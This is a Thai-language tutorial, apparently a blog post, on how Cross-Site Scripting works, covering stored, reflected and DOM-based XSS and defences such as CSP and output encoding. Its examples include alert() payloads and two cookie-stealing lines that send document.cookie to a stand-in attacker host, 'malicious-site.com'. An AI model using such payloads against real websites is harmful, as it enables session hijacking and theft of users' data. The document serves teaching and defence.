XSS ใช้จริงยังไง — ลึกซึ้ง ตอน 1

การรักษาความปลอดภัยในโลกออนไลน์นั้นเป็นเรื่องที่สำคัญมาก โดยเฉพาะเมื่อเราใช้เว็บไซต์และแอปพลิเคชันต่าง ๆ ที่มีการเก็บข้อมูลส่วนตัวของเราไว้ หนึ่งในภัยคุกคามที่พบได้บ่อยในโลกไซเบอร์คือ Cross-Site Scripting หรือที่เรียกกันสั้น ๆ ว่า XSS ซึ่งเป็นเทคนิคที่ผู้ไม่ประสงค์ดีใช้เพื่อจู่โจมผู้ใช้หรือเว็บไซต์ วันนี้เราจะมาลงลึกในเรื่องนี้กัน ว่า XSS คืออะไร และมันทำงานอย่างไรในทางปฏิบัติ

อะไรคือ XSS?

XSS หรือ Cross-Site Scripting เป็นช่องโหว่ด้านความปลอดภัยที่อนุญาตให้ผู้โจมตีสามารถฝังสคริปต์ที่เป็นอันตรายเข้าไปในเว็บไซต์ที่ถูกต้องได้ โดยทั่วไปแล้วผู้โจมตีจะสามารถใช้ XSS เพื่อขโมยข้อมูลสำคัญ เช่น คุกกี้ ข้อมูลการเข้าสู่ระบบ หรือแม้แต่ข้อมูลส่วนบุคคลของผู้ใช้

XSS มีหลายประเภท แต่หลัก ๆ จะแบ่งเป็น 3 ประเภท ได้แก่ Stored XSS, Reflected XSS และ DOM-based XSS ซึ่งแต่ละประเภทมีวิธีการโจมตีและผลกระทบที่แตกต่างกันออกไป

ประเภทของ XSS

1. **Stored XSS**: เป็นประเภทที่อันตรายที่สุด เนื่องจากสคริปต์ที่เป็นอันตรายจะถูกเก็บไว้ในเซิร์ฟเวอร์ เช่น ฐานข้อมูล เมื่อผู้ใช้เข้าเว็บไซต์นั้น สคริปต์จะถูกเรียกใช้งานโดยอัตโนมัติและทำให้ผู้โจมตีสามารถเข้าถึงข้อมูลได้

2. **Reflected XSS**: ประเภทนี้จะเกิดขึ้นเมื่อข้อมูลที่ถูกส่งมาจากผู้ใช้ถูกนำไปใช้งานทันที โดยไม่มีการเก็บข้อมูลไว้ เช่น การส่งลิงก์ที่มีสคริปต์ไปยังอีเมล เมื่อผู้ใช้คลิกลิงก์นั้น สคริปต์จะทำงานและโจมตีผู้ใช้

3. **DOM-based XSS**: ประเภทนี้จะเกิดจากการเปลี่ยนแปลง DOM (Document Object Model) ของเว็บเพจ ซึ่งทำให้ข้อมูลที่เป็นอันตรายถูกนำเข้าไปในหน้าเว็บโดยตรง โดยไม่ต้องมีการติดต่อกับเซิร์ฟเวอร์

การทำงานของ XSS ในทางปฏิบัติ

เพื่อให้เห็นภาพชัดเจนขึ้น เราลองมาดูตัวอย่างการทำงานของ XSS ในทางปฏิบัติกันดีกว่า ในกรณีของ Stored XSS สมมติว่ามีเว็บไซต์ที่ให้ผู้ใช้แสดงความคิดเห็น โดยเมื่อผู้ใช้โพสต์ความคิดเห็น ระบบจะเก็บความคิดเห็นนั้นไว้ในฐานข้อมูล

หากผู้โจมตีโพสต์ความคิดเห็นที่มีสคริปต์ที่เป็นอันตราย เช่น `alert(‘Hacked!’);` เมื่อผู้ใช้คนอื่นเข้ามาดูความคิดเห็นนี้ สคริปต์จะทำงาน และแสดงผลในรูปแบบของ alert box ซึ่งในกรณีที่ผู้โจมตีสามารถเข้าถึงข้อมูลที่สำคัญได้ เช่น คุกกี้ ผู้โจมตีจะสามารถขโมยข้อมูลเหล่านั้นได้

ในกรณีของ Reflected XSS สมมติว่าผู้โจมตีส่งลิงก์ไปยังผู้ใช้ โดยในลิงก์นั้นมีสคริปต์ที่เป็นอันตราย เช่น `http://example.com/?search=alert(‘Hacked!’);` เมื่อผู้ใช้คลิกลิงก์นั้น สคริปต์จะทำงานทันทีและแสดง alert box ขึ้นมา

ตัวอย่างการโจมตี XSS

ลองมาดูตัวอย่างที่ชัดเจนขึ้น ในกรณีของ Stored XSS สมมติว่าเรามีเว็บบล็อกที่ให้ผู้ใช้สามารถโพสต์ความคิดเห็นได้ หากผู้ใช้โพสต์ความคิดเห็นที่มีโค้ด JavaScript อันตราย เช่น `fetch(‘http://malicious-site.com/steal?cookie=’ + document.cookie);` เมื่อผู้ใช้คนอื่นเข้ามาอ่านความคิดเห็นนี้ สคริปต์จะทำการส่งคุกกี้ของผู้ใช้ไปยังเซิร์ฟเวอร์ของผู้โจมตีทันที

ในกรณีของ Reflected XSS ผู้โจมตีอาจสร้างลิงก์ที่ดูเหมือนถูกต้อง เช่น `http://example.com/search?query=document.location=’http://malicious-site.com/steal?cookie=’+document.cookie;` เมื่อผู้ใช้คลิกลิงก์นี้ คุกกี้ของเขาจะถูกส่งไปยังเซิร์ฟเวอร์ของผู้โจมตีทันที

การป้องกัน XSS

การป้องกัน XSS เป็นสิ่งที่สำคัญมากสำหรับนักพัฒนาเว็บไซต์ เพื่อป้องกันไม่ให้เกิดการโจมตีในลักษณะนี้ มีวิธีการหลายอย่างที่สามารถนำมาใช้ได้ เช่น การใช้ Content Security Policy (CSP) เพื่อกำหนดว่าเว็บไซต์สามารถโหลดสคริปต์จากแหล่งไหนได้บ้าง

นอกจากนี้ การเข้ารหัสข้อมูลที่ผู้ใช้ป้อนเข้ามาเป็นอีกวิธีที่ช่วยป้องกัน XSS เช่น การใช้ฟังก์ชันการเข้ารหัส HTML เพื่อให้แน่ใจว่าไม่มีสคริปต์ที่เป็นอันตรายถูกนำไปแสดงผลในหน้าเว็บ

อีกวิธีที่สามารถใช้ได้คือการตรวจสอบและกรองข้อมูลที่ผู้ใช้ป้อนเข้ามา โดยเฉพาะข้อมูลที่ใช้ในการสร้าง HTML เพื่อให้แน่ใจว่าไม่มีโค้ดที่อันตรายถูกนำไปแสดงผล

บทบาทของนักพัฒนาในการป้องกัน XSS

การป้องกัน XSS ไม่ใช่แค่หน้าที่ของผู้ดูแลระบบหรือผู้ดูแลเซิร์ฟเวอร์เท่านั้น แต่ยังเป็นหน้าที่ของนักพัฒนาด้วย นักพัฒนาควรมีความเข้าใจในเรื่องของ XSS และวิธีการป้องกัน เพื่อให้สามารถสร้างแอปพลิเคชันที่ปลอดภัย

การใช้เทคนิคต่าง ๆ เช่น การตรวจสอบความถูกต้องของข้อมูลที่เข้ามา การใช้ฟังก์ชันการเข้ารหัส และการใช้ CSP จะช่วยลดความเสี่ยงจาก XSS ได้อย่างมีประสิทธิภาพ

สรุป

XSS เป็นช่องโหว่ด้านความปลอดภัยที่มีความสำคัญและอาจส่งผลกระทบต่อผู้ใช้และเว็บไซต์อย่างมาก การเข้าใจการทำงานของ XSS และวิธีการป้องกันจึงเป็นสิ่งที่จำเป็นสำหรับทุกคนที่ทำงานในสาย IT และความปลอดภัยไซเบอร์ การเรียนรู้เกี่ยวกับ XSS จะช่วยให้เราสามารถพัฒนาแอปพลิเคชันที่ปลอดภัยและป้องกันภัยคุกคามในโลกดิจิทัลได้ดียิ่งขึ้น